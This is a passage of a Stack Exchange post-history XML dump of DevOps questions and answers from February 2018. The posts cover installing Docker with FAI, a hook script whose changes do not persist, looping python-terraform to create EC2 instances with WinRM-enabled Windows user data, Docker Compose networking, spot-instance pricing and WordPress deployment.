software-properties-common&#xD;&#xA;&#xD;&#xA;    # Add the Docker repository&#xD;&#xA;    sudo add-apt-repository \&#xD;&#xA;    &quot;deb [arch=amd64] https://download.docker.com/linux/$(. /etc/os-release; echo &quot;$ID&quot;) \&#xD;&#xA;    $(lsb_release -cs) \&#xD;&#xA;    stable&quot;&#xD;&#xA;&#xD;&#xA;Next I download the Docker repository public key and placed it in the FAI package configuration directory at the following path:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: text --&gt;&#xD;&#xA;&#xD;&#xA;    /srv/fai/config/package_config/DOCKER.asc&#xD;&#xA;&#xD;&#xA;Then I create the following package configuration file for the `DOCKER` class (`/srv/fai/config/package_config/DOCKER`):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: text --&gt;&#xD;&#xA;&#xD;&#xA;    # Install Docker CE (Community Edition)&#xD;&#xA;    PACKAGES install&#xD;&#xA;    docker-ce&#xD;&#xA;&#xD;&#xA;Finally I perform a dirinstall/chroot installation using the `DOCKER` class:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo fai \&#xD;&#xA;    --verbose \&#xD;&#xA;    --cfdir '/etc/fai' \&#xD;&#xA;    --class 'FAIBASE DEBIAN STRETCH DOCKER' \&#xD;&#xA;    --cspace 'file:///srv/fai/config' \&#xD;&#xA;    dirinstall 'docker'&#xD;&#xA;&#xD;&#xA;Then I enter the chroot environment to check whether or not the installation was successful:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo chroot docker&#xD;&#xA;&#xD;&#xA;Unfortunately when I check for `docker` it does not appear to be installed:&#xD;&#xA;&#xD;&#xA;&gt;     root@faiserver:/# which docker&#xD;&#xA;&gt;     root@faiserver:/# dpkg -l | grep -i docker&#xD;&#xA;&#xD;&#xA;Checking the log files for evidence of the `docker-ce` package yields the following:&#xD;&#xA;&#xD;&#xA;&gt;     root@faiserver:/# grep -Fir docker-ce /var/log/fai/faiserver/last/fai.log &#xD;&#xA;&gt;     WARNING: These unknown packages are removed from the installation list: docker-ce&#xD;&#xA;&#xD;&#xA;I also look for evidence that the `add-apt-repository` command was executed, but don't find any:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     root@faiserver:/# grep -Firl add-apt /var/log/fai&#xD;&#xA;&gt;     root@faiserver:/#&#xD;&#xA;&#xD;&#xA;However I am able to verify that the key was added to APT successfully:&#xD;&#xA;&#xD;&#xA;&gt;     root@faiserver:/# apt-key list 2&gt;/dev/null | grep -i -B2 -A1 docker&#xD;&#xA;&gt;     pub   rsa4096 2017-02-22 [SCEA]&#xD;&#xA;&gt;           9DC8 5822 9FC7 DD38 854A  E2D8 8D81 803C 0EBF CD88&#xD;&#xA;&gt;     uid           [ unknown] Docker Release (CE deb) &lt;docker@docker.com&gt;&#xD;&#xA;&gt;     sub   rsa4096 2017-02-22 [S]" ContentLicense="CC BY-SA 3.0" />
  <row Id="10537" PostHistoryTypeId="1" PostId="3352" RevisionGUID="d0b07b02-291e-4c57-ac6e-a9ede3c4c173" CreationDate="2018-02-14T19:09:32.543" UserId="3070" Text="Installing Packages from a 3rd Party Repository with FAI" ContentLicense="CC BY-SA 3.0" />
  <row Id="10538" PostHistoryTypeId="3" PostId="3352" RevisionGUID="d0b07b02-291e-4c57-ac6e-a9ede3c4c173" CreationDate="2018-02-14T19:09:32.543" UserId="3070" Text="&lt;automation&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10539" PostHistoryTypeId="2" PostId="3353" RevisionGUID="0518bee7-aabc-4765-b805-bab0f319eacb" CreationDate="2018-02-14T19:17:27.073" UserId="6523" Text="I Have JSON file in which email address and count of instances are specified.I'm using python script to iterate through that file and get username/count number (count number will be used as number of EC2 instances), output from JSON file:&#xD;&#xA;&#xD;&#xA;    DJukes&#xD;&#xA;    1&#xD;&#xA;    JWilson&#xD;&#xA;    2&#xD;&#xA;    eflame&#xD;&#xA;    3&#xD;&#xA;&#xD;&#xA;So, for DJukes one instance will be created,JWilson 2,eFlame 3, also these names will be usernames for new instances.&#xD;&#xA;&#xD;&#xA;Idea is to create as many instances as it's specified in JSON file based on username and count values&#xD;&#xA;&#xD;&#xA;I passed these variables to python-terraform wrapper (https://github.com/beelit94/python-terraform)&#xD;&#xA;&#xD;&#xA;If only one user/count exists in JSON file, no issues, but as soon i add more entries in JSON, then machine for DJukes is created then terminated,same for JWilson, only last created machine remains running.&#xD;&#xA;Can someone point out what's wrong with this code ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/python&#xD;&#xA;    import json&#xD;&#xA;    from pprint import pprint&#xD;&#xA;    from python_terraform import *&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    def myfunc():&#xD;&#xA;    &#xD;&#xA;      tf = Terraform(working_dir='/home/ja/terraform-course/demo-2b', variables={'count':count,'INSTANCE_USERNAME':user})&#xD;&#xA;      tf.plan(no_color=IsFlagged, refresh=False, capture_output=False)&#xD;&#xA;      approve = {&quot;auto-approve&quot;: True}&#xD;&#xA;      print(tf.plan())&#xD;&#xA;      print(tf.apply(**approve))&#xD;&#xA;      return&#xD;&#xA;    &#xD;&#xA;        json_data=open('./my.json')&#xD;&#xA;        data = json.load(json_data)&#xD;&#xA;        &#xD;&#xA;        json_data.close()&#xD;&#xA;        &#xD;&#xA;        for i in range (0, len (data['customers'])):&#xD;&#xA;            #print data['customers'][i]['email']&#xD;&#xA;            k=data['customers'][i]['email']&#xD;&#xA;            #print(k.split('@')[0])&#xD;&#xA;            user=k.split('@')[0]&#xD;&#xA;            #print(user)&#xD;&#xA;            count=data['customers'][i]['instances']&#xD;&#xA;            #print(count)&#xD;&#xA;            #enter = int(input('Enter number of instances: '))&#xD;&#xA;            myfunc()&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10540" PostHistoryTypeId="1" PostId="3353" RevisionGUID="0518bee7-aabc-4765-b805-bab0f319eacb" CreationDate="2018-02-14T19:17:27.073" UserId="6523" Text="Create multiple EC2 instances using python script (in loop iteration)" ContentLicense="CC BY-SA 3.0" />
  <row Id="10541" PostHistoryTypeId="3" PostId="3353" RevisionGUID="0518bee7-aabc-4765-b805-bab0f319eacb" CreationDate="2018-02-14T19:17:27.073" UserId="6523" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;terraform&gt;&lt;automation&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10542" PostHistoryTypeId="5" PostId="3353" RevisionGUID="856ba357-bf58-457d-9f5f-fdcdaafc761c" CreationDate="2018-02-14T19:55:00.430" UserId="6523" Comment="added 1762 characters in body" Text="I Have JSON file in which email address and count of instances are specified.I'm using python script to iterate through that file and get username/count number (count number will be used as number of EC2 instances), output from JSON file:&#xD;&#xA;&#xD;&#xA;    DJukes&#xD;&#xA;    1&#xD;&#xA;    JWilson&#xD;&#xA;    2&#xD;&#xA;    eflame&#xD;&#xA;    3&#xD;&#xA;&#xD;&#xA;So, for DJukes one instance will be created,JWilson 2,eFlame 3, also these names will be usernames for new instances.&#xD;&#xA;&#xD;&#xA;Idea is to create as many instances as it's specified in JSON file based on username and count values&#xD;&#xA;&#xD;&#xA;When creating manually i got&#xD;&#xA;&#xD;&#xA;    Terraform will perform the following actions:&#xD;&#xA;    &#xD;&#xA;    -/+ aws_instance.win-example (new resource required)&#xD;&#xA;          id:    &#xD;&#xA;&#xD;&#xA;                       &quot;i-073bda5b30f10d3ba&quot; =&gt; &lt;computed&gt; (forces new resource)&#xD;&#xA;&#xD;&#xA;I passed these variables to python-terraform wrapper (https://github.com/beelit94/python-terraform)&#xD;&#xA;&#xD;&#xA;If only one user/count exists in JSON file, no issues, but as soon i add more entries in JSON, then machine for DJukes is created then terminated,same for JWilson, only last created machine remains running.&#xD;&#xA;Can someone point out what's wrong with this code ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/python&#xD;&#xA;    import json&#xD;&#xA;    from pprint import pprint&#xD;&#xA;    from python_terraform import *&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    def myfunc():&#xD;&#xA;    &#xD;&#xA;      tf = Terraform(working_dir='/home/ja/terraform-course/demo-2b', variables={'count':count,'INSTANCE_USERNAME':user})&#xD;&#xA;      tf.plan(no_color=IsFlagged, refresh=False, capture_output=False)&#xD;&#xA;      approve = {&quot;auto-approve&quot;: True}&#xD;&#xA;      print(tf.plan())&#xD;&#xA;      print(tf.apply(**approve))&#xD;&#xA;      return&#xD;&#xA;    &#xD;&#xA;        json_data=open('./my.json')&#xD;&#xA;        data = json.load(json_data)&#xD;&#xA;        &#xD;&#xA;        json_data.close()&#xD;&#xA;        &#xD;&#xA;        for i in range (0, len (data['customers'])):&#xD;&#xA;            #print data['customers'][i]['email']&#xD;&#xA;            k=data['customers'][i]['email']&#xD;&#xA;            #print(k.split('@')[0])&#xD;&#xA;            user=k.split('@')[0]&#xD;&#xA;            #print(user)&#xD;&#xA;            count=data['customers'][i]['instances']&#xD;&#xA;            #print(count)&#xD;&#xA;            #enter = int(input('Enter number of instances: '))&#xD;&#xA;            myfunc()&#xD;&#xA;&#xD;&#xA;windows.tf:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_key_pair&quot; &quot;mykey&quot; {&#xD;&#xA;      key_name = &quot;mykey&quot;&#xD;&#xA;      public_key = &quot;${file(&quot;${var.PATH_TO_PUBLIC_KEY}&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;win-example&quot; {&#xD;&#xA;      ami = &quot;${lookup(var.WIN_AMIS, var.AWS_REGION)}&quot;&#xD;&#xA;      instance_type = &quot;t2.medium&quot;&#xD;&#xA;      count=&quot;${var.count}&quot;&#xD;&#xA;    &#xD;&#xA;      key_name = &quot;${aws_key_pair.mykey.key_name}&quot;&#xD;&#xA;      user_data = &lt;&lt;EOF&#xD;&#xA;    &lt;powershell&gt;&#xD;&#xA;    net user ${var.INSTANCE_USERNAME} '${var.INSTANCE_PASSWORD}' /add /y&#xD;&#xA;    net localgroup administrators ${var.INSTANCE_USERNAME} /add&#xD;&#xA;    &#xD;&#xA;    winrm quickconfig -q&#xD;&#xA;    winrm set winrm/config/winrs '@{MaxMemoryPerShellMB=&quot;300&quot;}'&#xD;&#xA;    winrm set winrm/config '@{MaxTimeoutms=&quot;1800000&quot;}'&#xD;&#xA;    winrm set winrm/config/service '@{AllowUnencrypted=&quot;true&quot;}'&#xD;&#xA;    winrm set winrm/config/service/auth '@{Basic=&quot;true&quot;}'&#xD;&#xA;    &#xD;&#xA;    netsh advfirewall firewall add rule name=&quot;WinRM 5985&quot; protocol=TCP dir=in localport=5985 action=allow&#xD;&#xA;    netsh advfirewall firewall add rule name=&quot;WinRM 5986&quot; protocol=TCP dir=in localport=5986 action=allow&#xD;&#xA;    &#xD;&#xA;    net stop winrm&#xD;&#xA;    sc.exe config winrm start=auto&#xD;&#xA;    net start winrm&#xD;&#xA;    &lt;/powershell&gt;&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;      provisioner &quot;file&quot; {&#xD;&#xA;        source = &quot;test.txt&quot;&#xD;&#xA;        destination = &quot;C:/test.txt&quot;&#xD;&#xA;      }&#xD;&#xA;      connection {&#xD;&#xA;        type = &quot;winrm&quot;&#xD;&#xA;        timeout = &quot;10m&quot;&#xD;&#xA;        user = &quot;${var.INSTANCE_USERNAME}&quot;&#xD;&#xA;        password = &quot;${var.INSTANCE_PASSWORD}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    tags {&#xD;&#xA;    Name=&quot;${var.INSTANCE_USERNAME}&quot;&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10546" PostHistoryTypeId="2" PostId="3355" RevisionGUID="300813ab-1df0-4759-a377-4a18b0138695" CreationDate="2018-02-14T23:13:57.747" UserId="5879" Text="Your mistake is that you are did not register the *app* service on the *app-net* network. To allow containers to connect with one another, they have to share a network and then use the image name as the domain name. Docker provides a network internal DNS service.&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      couchdb:&#xD;&#xA;        image: couchdb:latest&#xD;&#xA;        restart: always&#xD;&#xA;        volumes:&#xD;&#xA;          - couchdb-data-volume:/usr/local/var/lib/couchdb&#xD;&#xA;        env_file: .env.docker&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;12345:5986&quot;&#xD;&#xA;        networks:&#xD;&#xA;          app-net:&#xD;&#xA;&#xD;&#xA;      app:&#xD;&#xA;        build: .&#xD;&#xA;        image: app&#xD;&#xA;        container_name: app&#xD;&#xA;        restart: always&#xD;&#xA;        depends_on:&#xD;&#xA;          - couchdb&#xD;&#xA;        env_file: .env.docker  &#xD;&#xA;        networks:&#xD;&#xA;          - app-net&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      couchdb-data-volume:&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      app-net:&#xD;&#xA;&#xD;&#xA;The URL from the *app* to the *couchdb* service would be `http://couchdb:5986`. To test this, open bash inside the *app* service with `docker exec -it app`. This depends on the *container_name* setting." ContentLicense="CC BY-SA 3.0" />
  <row Id="10548" PostHistoryTypeId="2" PostId="3356" RevisionGUID="e24d068a-744e-4dfa-b663-9614a0c9c94e" CreationDate="2018-02-15T07:31:16.887" UserId="6038" Text="To import secrets into .tf files, you can also use an [external data source][1]. This could be e.g. a script which decrypts your secrets.&#xA;&#xA;&#xA;  [1]: https://www.terraform.io/docs/providers/external/data_source.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10550" PostHistoryTypeId="2" PostId="3357" RevisionGUID="ea7d8213-65be-4703-a322-11bc5d804fe5" CreationDate="2018-02-15T09:22:23.853" UserId="2" Text="Is there a way to know how much a specific spot instance is actually costing? My only idea is to give it a specific tag and wait to see it show up in the billing report. But what I really want is to to know in &quot;real time&quot; how much each spot instance is costing." ContentLicense="CC BY-SA 3.0" />
  <row Id="10551" PostHistoryTypeId="1" PostId="3357" RevisionGUID="ea7d8213-65be-4703-a322-11bc5d804fe5" CreationDate="2018-02-15T09:22:23.853" UserId="2" Text="How to determine actual cost of specific spot instance" ContentLicense="CC BY-SA 3.0" />
  <row Id="10552" PostHistoryTypeId="3" PostId="3357" RevisionGUID="ea7d8213-65be-4703-a322-11bc5d804fe5" CreationDate="2018-02-15T09:22:23.853" UserId="2" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10553" PostHistoryTypeId="34" PostId="3266" RevisionGUID="b3e669bc-fa15-435f-af47-9829ea3aad05" CreationDate="2018-02-15T11:04:03.703" UserId="3628" Comment="15" />
  <row Id="10555" PostHistoryTypeId="2" PostId="3358" RevisionGUID="c9cbc358-3749-499c-8df8-9576ca3968b5" CreationDate="2018-02-15T16:15:46.123" UserId="47" Text="From [Amazon EC2 Spot Instances Pricing][1]:&#xD;&#xA;&#xD;&#xA;&gt; The following table displays the Spot price for each region and&#xD;&#xA;&gt; instance type (updated every 5 minutes).&#xD;&#xA;&#xD;&#xA;So one (crude) option would be to parse that page to get the price matching your particular instance type and region.&#xD;&#xA;&#xD;&#xA;I don't know if the equivalent info is available via the [AWS Price List API][2]:&#xD;&#xA;&#xD;&#xA;- [the Bulk API][3] clearly doesn't support it:&#xD;&#xA;&#xD;&#xA;&gt; Offer files do not include information about expiring free tier offers&#xD;&#xA;&gt; or Amazon EC2 Spot Instances.&#xD;&#xA;&#xD;&#xA;- the spot instace pricing isn't explicitly declared as unsupported in [the Query API][4], so there *might* be a chance for another option here, that'd be better than parsing pages. But I didn't try - I'm not an AWS user yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ec2/spot/pricing/&#xD;&#xA;  [2]: https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/price-changes.html&#xD;&#xA;  [3]: https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/using-ppslong.html&#xD;&#xA;  [4]: https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/using-pelong.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10560" PostHistoryTypeId="2" PostId="3360" RevisionGUID="eeaadad6-6c70-4aa8-9537-154d555dfdda" CreationDate="2018-02-15T17:38:39.277" UserId="3070" Text="## Question&#xD;&#xA;&#xD;&#xA;My hook script for the repository task (see the [list of FAI tasks](https://fai-project.org/fai-guide/#_a_id_tasks_a_the_list_of_tasks)) doesn't seem to be having an effect on the final state of installation. Why not? Is this the expected behavior? If so, why? And what, if anything, can I do to work around this restriction?&#xD;&#xA;&#xD;&#xA;## Background&#xD;&#xA;&#xD;&#xA;I'm trying to use FAI to install Docker CE from the Docker package repository (see [Installing Packages from a 3rd Party Repository with FAI](https://devops.stackexchange.com/questions/3352/installing-packages-from-a-3rd-party-repository-with-fai)). Following the official instructions, I'm trying to use the `add-apt-repository` utility to add the package repository to the APT repository index. In order to get the `add-apt-repository` utility I'm trying to install the `software-properties-common` package. My plan was to use a hook script for the repository phase to install `software-properties-common` and then use `add-apt-repository` to add the Docker repository.&#xD;&#xA;&#xD;&#xA;## Solution Attempt&#xD;&#xA;&#xD;&#xA;I created the following repository-task hook script for a `SOFTPROPCOMM` class:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # /srv/fai/config/hooks/repository.SOFTPROPCOMM&#xD;&#xA;&#xD;&#xA;    # Print command&#xD;&#xA;    echo apt-get install software-properties-common&#xD;&#xA;&#xD;&#xA;    # Execute command&#xD;&#xA;    apt-get install software-properties-common&#xD;&#xA;&#xD;&#xA;Then I perform a `dirinstall` to [create a chroot environment](http://fai-project.org/fai-guide/#_a_id_dirinstall_a_creating_chroot_and_virtualization_environments):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo fai \&#xD;&#xA;    --verbose \&#xD;&#xA;    --cfdir '/etc/fai' \&#xD;&#xA;    --class 'SOFTPROPCOMM' \&#xD;&#xA;    --cspace 'file:///srv/fai/config' \&#xD;&#xA;    dirinstall 'softpropcomm' \&#xD;&#xA;    | tee fai-softpropcomm.log&#xD;&#xA;&#xD;&#xA;Then I enter the chroot environment:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    sudo chroot softpropcomm&#xD;&#xA;&#xD;&#xA;and from inside the chroot environment I check for the presence of the `add-apt-repository` application:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    which add-apt-repository&#xD;&#xA;&#xD;&#xA;and also for the presence of the `software-properties-common` package:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    dpkg -l | grep -Fi software-properties-common&#xD;&#xA;&#xD;&#xA;Neither the application nor the package appear to be present. So I try manually installing the package (still from within the chroot):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    apt-get install software-properties-common&#xD;&#xA;&#xD;&#xA;The installation proceeds as expected for a new package (one that isn't already installed on the system) and after the package installation completes I can verify that the `add-apt-repository` application has been successfully installed. This seems to suggest that repository-task hook script did not execute successfully. So I and look at my log file (back on the host - outside of the chroot):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    cat fai-softpropcomm.log \&#xD;&#xA;    | grep -Fi -B1 -A2 software-properties-common&#xD;&#xA;&#xD;&#xA;This produces the following output:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: text --&gt;&#xD;&#xA;&#xD;&#xA;    Calling hook: repository.SOFTPROPCOMM&#xD;&#xA;    apt-get install software-properties-common&#xD;&#xA;    Reading package lists...&#xD;&#xA;    Building dependency tree...&#xD;&#xA;    Reading state information...&#xD;&#xA;    software-properties-common is already the newest version.&#xD;&#xA;    0 upgraded, 0 newly installed, 0 to remove and 86 not upgraded.&#xD;&#xA;    repository.SOFTPROPCOMM OK.&#xD;&#xA;&#xD;&#xA;This seems to suggest that the package was already installed prior to the execution of my hook script, which is doubly confusing.&#xD;&#xA;&#xD;&#xA;## Debugging Attempt&#xD;&#xA;&#xD;&#xA;In order to test what was happening I added a command to the repository-task hook script to write to a new file. Here is the new hook script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # /srv/fai/config/hooks/repository.SOFTPROPCOMM&#xD;&#xA;&#xD;&#xA;    echo &quot;Testing repository-task hook script&quot;&#xD;&#xA;    echo &quot;Writing to file /test&quot;&#xD;&#xA;    echo &quot;Success&quot; &gt; /test&#xD;&#xA;    echo &quot;Checking contents of /test&quot;&#xD;&#xA;    cat /test&#xD;&#xA;&#xD;&#xA;The output from the installation process includes the following block for the repository-task hook:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: text --&gt;&#xD;&#xA;&#xD;&#xA;    [...]&#xD;&#xA;    Calling hook: repository.SOFTPROPCOMM&#xD;&#xA;    Testing repository-task hook script&#xD;&#xA;    Writing to file /test&#xD;&#xA;    Checking contents of /test&#xD;&#xA;    Success&#xD;&#xA;    repository.SOFTPROPCOMM OK.&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;But then when I enter the chroot the file isn't there." ContentLicense="CC BY-SA 3.0" />
  <row Id="10561" PostHistoryTypeId="1" PostId="3360" RevisionGUID="eeaadad6-6c70-4aa8-9537-154d555dfdda" CreationDate="2018-02-15T17:38:39.277" UserId="3070" Text="Actions Performed During FAI Repository Task Do Not Persist" ContentLicense="CC BY-SA 3.0" />
  <row Id="10562" PostHistoryTypeId="3" PostId="3360" RevisionGUID="eeaadad6-6c70-4aa8-9537-154d555dfdda" CreationDate="2018-02-15T17:38:39.277" UserId="3070" Text="&lt;automation&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10563" PostHistoryTypeId="2" PostId="3361" RevisionGUID="bd8c6551-9137-4341-b08d-0ba3724d38d4" CreationDate="2018-02-16T00:18:52.533" UserId="5879" Text="With docker compose (or docker swarm if you want to distribute the containers) create a container for each Git repository. This should map well to docker’s philosophy of each container being used for a **single purpose**.&#xA;&#xA;As far as examples go, I can recommend you have a look at [veleda][1] (shameless self-promotion) which combines 3 databases, a flask app, a ruby app (Grafana), Jekyll and nginx. It also includes unit tests that are integrated into Travis-ci and should be transferable to circle-ci.&#xA;&#xA;Regarding the nginx aspect, 030 already mentioned that there are finished images to make your life easier. Even ones that include automated [Let’s Encrypt services][2]. &#xA;&#xA;Ansible can be integrated well into the mix. If you used it to install dependencies and network configurations, this is now handled by docker. For SSH-based tasks, ansible remains useful. Check out this [comparison][3] of tools and their scope’s of responsibility. &#xA;&#xA;&#xA;  [1]: https://github.com/mayaculpa/veleda&#xA;  [2]: https://github.com/JrCs/docker-letsencrypt-nginx-proxy-companion/blob/master/README.md&#xA;  [3]: https://rhonabwy.com/2016/06/19/marathon-kubernetes-docker-compose-terraform-puppet-chef-ansible-saltstack-and-juju/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10564" PostHistoryTypeId="50" PostId="2004" RevisionGUID="91ec8174-4789-47a8-ac1c-5986a1c7abec" CreationDate="2018-02-16T00:48:07.833" UserId="-1" />
  <row Id="10567" PostHistoryTypeId="2" PostId="3362" RevisionGUID="8b93c9cf-90e9-4e47-9f67-2c97c9e1cd2d" CreationDate="2018-02-16T05:05:01.173" UserId="5641" Text="I've just started exploring Kubernetes and Concourse CI. Learning still, so I'm still understanding all the concepts. Forgive me if this question sounds naive.&#xD;&#xA;&#xD;&#xA;Why would we deploy Concourse CI in Kubernetes. Is it just for the ease of deployment? I mean concourse has its own way for scaling workers which itself if I've understood is through containers. &#xD;&#xA;So why run something that can already scale and handle containers(I mean concourse) inside Kubernetes?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10568" PostHistoryTypeId="1" PostId="3362" RevisionGUID="8b93c9cf-90e9-4e47-9f67-2c97c9e1cd2d" CreationDate="2018-02-16T05:05:01.173" UserId="5641" Text="Why Run Concourse CI in Kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="10569" PostHistoryTypeId="3" PostId="3362" RevisionGUID="8b93c9cf-90e9-4e47-9f67-2c97c9e1cd2d" CreationDate="2018-02-16T05:05:01.173" UserId="5641" Text="&lt;continuous-integration&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10570" PostHistoryTypeId="2" PostId="3363" RevisionGUID="019e5ca3-3f98-4868-bbbb-396bc732299d" CreationDate="2018-02-16T09:23:06.517" UserId="6539" Text="For our web servers running on Docker containers (Apache, mysql, wordpress, etc) we have a production and a staging virtual machines.&#xD;&#xA;&#xD;&#xA;DEVs and content team work on staging and then I tar ball the files from the wordpress container and dump the mysql DB and scp them to production server.&#xD;&#xA;Once in production I untar the files to the wordpress container and &quot;restore&quot; the DB. &#xD;&#xA;(in fact we use a server in the middle, but I'm skipping that here to keep it short)&#xD;&#xA;&#xD;&#xA;I was thinking on an internal docker registry, but that's only for images... so I will need to start/restart the images to container. &#xD;&#xA;&#xD;&#xA;Or some kind of internal &quot;GIT&quot;? where I can push/pull versions?&#xD;&#xA;&#xD;&#xA;what will be a better way to update production server?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10571" PostHistoryTypeId="1" PostId="3363" RevisionGUID="019e5ca3-3f98-4868-bbbb-396bc732299d" CreationDate="2018-02-16T09:23:06.517" UserId="6539" Text="Update production server (apache, wordpress, mysql) on docker containers, from staging server" ContentLicense="CC BY-SA 3.0" />
  <row Id="10572" PostHistoryTypeId="3" PostId="3363" RevisionGUID="019e5ca3-3f98-4868-bbbb-396bc732299d" CreationDate="2018-02-16T09:23:06.517" UserId="6539" Text="&lt;docker&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10573" PostHistoryTypeId="50" PostId="3089" RevisionGUID="40d7f03d-c265-4887-a43f-40ac0c0212ba" CreationDate="2018-02-16T09:54:16.130" UserId="-1" />
  <row Id="10574" PostHistoryTypeId="2" PostId="3364" RevisionGUID="7b5a8cb3-46ef-4a56-89e1-f4ee9b1fbac9" CreationDate="2018-02-16T11:54:18.973" UserId="6543" Text="In our case yes, it is just ease of deployment/operations. We have existing skills with k8s and that's what we're most comfortable operating.&#xD;&#xA;&#xD;&#xA;I guess you're right that its somewhat odd to run Concourse's scheduling inside of k8s scheduling, and it would be great to see Concourse being able to leverage Kubernetes directly at some point." ContentLicense="CC BY-SA 3.0" />
  <row Id="10575" PostHistoryTypeId="2" PostId="3365" RevisionGUID="b278119d-a579-43cb-89e8-9eb6fc71f013" CreationDate="2018-02-16T12:41:07.413" UserId="6544" Text="My thoughts based on your described scenario are:&#xD;&#xA;&#xD;&#xA;1. Your tarball strategy, as described, might _sound_ safe but is prone to risk in my opinion. A better approach is to version-control the WP files you will modify, while keeping the core intact and within the Docker container. Here's a reference I have used in the past that talks about [version-control strategies for WP](https://timnash.co.uk/wordpress-version-control-tips/). You would of course need to spend some time and understand which folders/files to version-control for your specific site.&#xD;&#xA;1. The version-controlled files would be checked out on the _host machine_ (which runs Docker) and be volume-mounted within your Docker container.&#xD;&#xA;1. Everytime your changes are validated in `Stage` they get pushed to Git. Getting these changes into `Prod` would essentially be a `git pull`.&#xD;&#xA;1. If you wish you might also use a tool like [composer](https://medium.com/@halles/wordpress-composer-git-1ccf29a9827a) as part of your deployment workflow. A dependency manager should be part of any deployment worklow.&#xD;&#xA;&#xD;&#xA;I would also recommend tying all this together with a tool like Ansible, i.e. use Ansible to&#xD;&#xA;&#xD;&#xA;* update local git repo&#xD;&#xA;* run the composer bits&#xD;&#xA;* ensure docker container is running&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Disclaimer: Although I've worked on DevOps automation for Wordpress sites, I am by no means an expert on Wordpress, so suggestions and clarifications welcome.&#xD;&#xA;&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 3.0" />
  <row Id="10578" PostHistoryTypeId="2" PostId="3366" RevisionGUID="9757b142-25f5-432c-9cc8-6bd3b5de3acc" CreationDate="2018-02-16T21:00:03.490" UserId="210" Text="`Once in production I untar the files to the wordpress container and &quot;restore&quot; the DB`. One of the advantages of docker that these are immutable packages. If one untars packages in production then this is a contradiction. In my opinion one should pull docker images as is that are immutable. Imagine that a newer version of the docker image, e.g. 1.0.1 is broken then one should be able to revert to the last stable image, e.g. 1.0.0. If one would follow your suggested approach then this is not possible." ContentLicense="CC BY-SA 3.0" />
